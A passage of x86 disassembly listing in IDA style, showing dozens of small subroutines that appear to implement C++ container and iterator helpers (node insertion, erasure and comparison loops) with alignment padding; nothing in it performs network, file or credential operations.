sub_401EBA sub_415070 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016CC mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_40172B mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4150F0 proc near ; CODE XREF: sub_401578j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D89 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401465 mov edx, [esi+4] mov ecx, esi push edx call sub_401CD5 sub_4150F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415160 proc near ; CODE XREF: sub_4012E9j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40208B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401DA7 mov eax, esi pop esi retn 4 sub_415160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4151A0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401DA7 mov eax, esi pop esi retn 4 sub_4151A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151D0 proc near ; CODE XREF: sub_40147Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D89 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40215D sub_4151D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415210 proc near ; CODE XREF: sub_401258j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_401D89 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4012E9 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401D5C test al, al jz short loc_415291 push edi mov edi, [esp+14h+arg_0] loc_415243: ; CODE XREF: sub_415210+7Ej lea ecx, [esp+14h+var_C] call sub_401FA5 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415275 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_40156E mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401FAF ; --------------------------------------------------------------------------- jmp short loc_41527E ; --------------------------------------------------------------------------- loc_415275: ; CODE XREF: sub_415210+42j lea ecx, [esp+14h+var_C] call sub_4020A4 loc_41527E: ; CODE XREF: sub_415210+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401D5C test al, al jnz short loc_415243 pop edi loc_415291: ; CODE XREF: sub_415210+2Cj pop esi add esp, 0Ch retn 4 sub_415210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152D0 proc near ; CODE XREF: sub_401E1Fj push esi mov esi, ecx call sub_401EB5 mov eax, esi pop esi retn sub_4152D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152F0 proc near ; CODE XREF: sub_401FA5j mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_4152F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415310 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415340 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015CD neg al sbb eax, eax inc eax retn 4 sub_415340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415370 proc near ; CODE XREF: sub_401F05j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C7B sub_415370 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4153B0 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402234 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401983 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E1A sub_4153B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401983j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401249 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401CC6 mov eax, esi pop esi retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415460 proc near ; CODE XREF: sub_402234j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401CC6 mov eax, esi pop esi retn 4 sub_415460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_401EF1j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402234 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A96 sub_415490 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4154D0 proc near ; CODE XREF: sub_401924j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402234 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401983 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4154D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415520 proc near ; CODE XREF: sub_401154j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_402234 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_401983 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401AD7 test al, al jz short loc_4155A1 push edi mov edi, [esp+14h+arg_0] loc_415553: ; CODE XREF: sub_415520+7Ej lea ecx, [esp+14h+var_C] call sub_4011D1 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415585 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_4010DC mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_4017DF ; --------------------------------------------------------------------------- jmp short loc_41558E ; --------------------------------------------------------------------------- loc_415585: ; CODE XREF: sub_415520+42j lea ecx, [esp+14h+var_C] call sub_4018B6 loc_41558E: ; CODE XREF: sub_415520+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401AD7 test al, al jnz short loc_415553 pop edi loc_4155A1: ; CODE XREF: sub_415520+2Cj pop esi add esp, 0Ch retn 4 sub_415520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155E0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E79 mov eax, esi pop esi retn sub_4155E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402126 add esp, 4 retn sub_415600 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415620 proc near ; CODE XREF: sub_4018B6j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415620 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415650 proc near ; CODE XREF: sub_401AD7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EA6 neg al sbb eax, eax inc eax retn 4 sub_415650 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415680 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DA2 sub_415680 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4156C0 proc near ; CODE XREF: sub_4014B5j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018F2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401401 mov edx, [esi+4] mov ecx, esi push edx call sub_401EF6 sub_4156C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415730 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401BB8 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D66 mov eax, esi pop esi retn 4 sub_415730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415770 proc near ; CODE XREF: sub_40114Aj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D66 mov eax, esi pop esi retn 4 sub_415770 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157A0 proc near ; CODE XREF: sub_401406j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401CFD sub_4157A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4157E0 proc near ; CODE XREF: sub_401C62j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018F2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401401 pop esi add esp, 0Ch retn sub_4157E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415830 proc near ; CODE XREF: sub_402130j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_40114A lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4018F2 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401339 test al, al jz short loc_4158B1 push edi mov edi, [esp+14h+arg_0] loc_415863: ; CODE XREF: sub_415830+7Ej lea ecx, [esp+14h+var_C] call sub_40135C mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415895 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_401EA1 mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41589E ; --------------------------------------------------------------------------- loc_415895: ; CODE XREF: sub_415830+42j lea ecx, [esp+14h+var_C] call sub_40118B loc_41589E: ; CODE XREF: sub_415830+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401339 test al, al jnz short loc_415863 pop edi loc_4158B1: ; CODE XREF: sub_415830+2Cj pop esi add esp, 0Ch retn 4 sub_415830 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158F0 proc near ; CODE XREF: sub_402252j push esi mov esi, ecx call sub_401E29 mov eax, esi pop esi retn sub_4158F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415910 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017DA add esp, 4 retn sub_415910 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415930 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BB8 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415930 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415960 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40144C neg al sbb eax, eax inc eax retn 4 sub_415960 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415990 proc near ; CODE XREF: sub_40113Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40208B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401753 mov eax, esi pop esi retn 4 sub_415990 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159D0 proc near ; CODE XREF: sub_4016CCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401753 mov eax, esi pop esi retn 4 sub_4159D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415A00 proc near ; CODE XREF: sub_40215Dj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C4E mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401EBA sub_415A00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_40208B mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401EFB add esp, 4 mov ecx, esi push eax call sub_402194 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401DA7 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AA0 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CA8 test al, al jz short loc_415AED push edi mov edi, [esp+8+arg_0] loc_415ABA: ; CODE XREF: sub_415AA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A4B push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40215D ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_4020EF lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CA8 test al, al jnz short loc_415ABA pop edi loc_415AED: ; CODE XREF: sub_415AA0+13j pop esi retn 0Ch sub_415AA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B20 proc near ; CODE XREF: sub_401FAFj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40156E mov ecx, eax call sub_401C4E mov esi, eax push esi call sub_40208B push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_40208B mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_40208B mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401EFB add esp, 1Ch mov ecx, edi push eax call sub_4014F6 push esi mov ecx, edi call sub_401CD5 sub_415B20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BE0 proc near ; CODE XREF: sub_401465j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D5C test al, al jz short loc_415C3A loc_415BF8: ; CODE XREF: sub_415BE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40156E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FAF ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D5C test al, al jnz short loc_415BF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415C3A: ; CODE XREF: sub_415BE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415BE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C70 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020D6 sub_415C70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415C85 mov edi, esi loc_415C85: ; CODE XREF: ___:00415C81j push esi call sub_40208B mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415C9A mov edi, esi loc_415C9A: ; CODE XREF: ___:00415C96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415CC0 proc near ; CODE XREF: sub_401CD5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E01 sub_415CC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40208Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415CE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D00 proc near ; CODE XREF: sub_401EFBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415D00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D20 proc near ; CODE XREF: sub_401EB5j mov eax, ecx retn sub_415D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D40 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401753 mov eax, esi pop esi retn 4 sub_415D40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D70 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020A4 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415D70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DA0 proc near ; CODE XREF: sub_4015CDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415DA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DD0 proc near ; CODE XREF: sub_401A96j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F6E mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C7B sub_415DD0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402126 add esp, 4 mov ecx, esi push eax call sub_4015E6 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401CC6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415E70 proc near ; CODE XREF: sub_4017DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F6E mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402126 add esp, 1Ch mov ecx, edi push eax call sub_401D4D push esi mov ecx, edi call sub_401E1A sub_415E70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415F30 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AD7 test al, al jz short loc_415F8A loc_415F48: ; CODE XREF: sub_415F30+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017DF ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AD7 test al, al jnz short loc_415F48 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415F8A: ; CODE XREF: sub_415F30+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415F30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415FC0 proc near ; CODE XREF: sub_401C7Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015A5 sub_415FC0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415FD5 mov edi, esi loc_415FD5: ; CODE XREF: ___:00415FD1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415FEA mov edi, esi loc_415FEA: ; CODE XREF: ___:00415FE6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416010 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416010 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416030 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416050 proc near ; CODE XREF: sub_402126j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416070 proc near ; CODE XREF: sub_401E79j mov eax, ecx retn sub_416070 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416090 proc near ; CODE XREF: sub_401CC6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416090 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160C0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018B6 mov eax, [esp+4+arg_0] mov [eax], esi pop esi 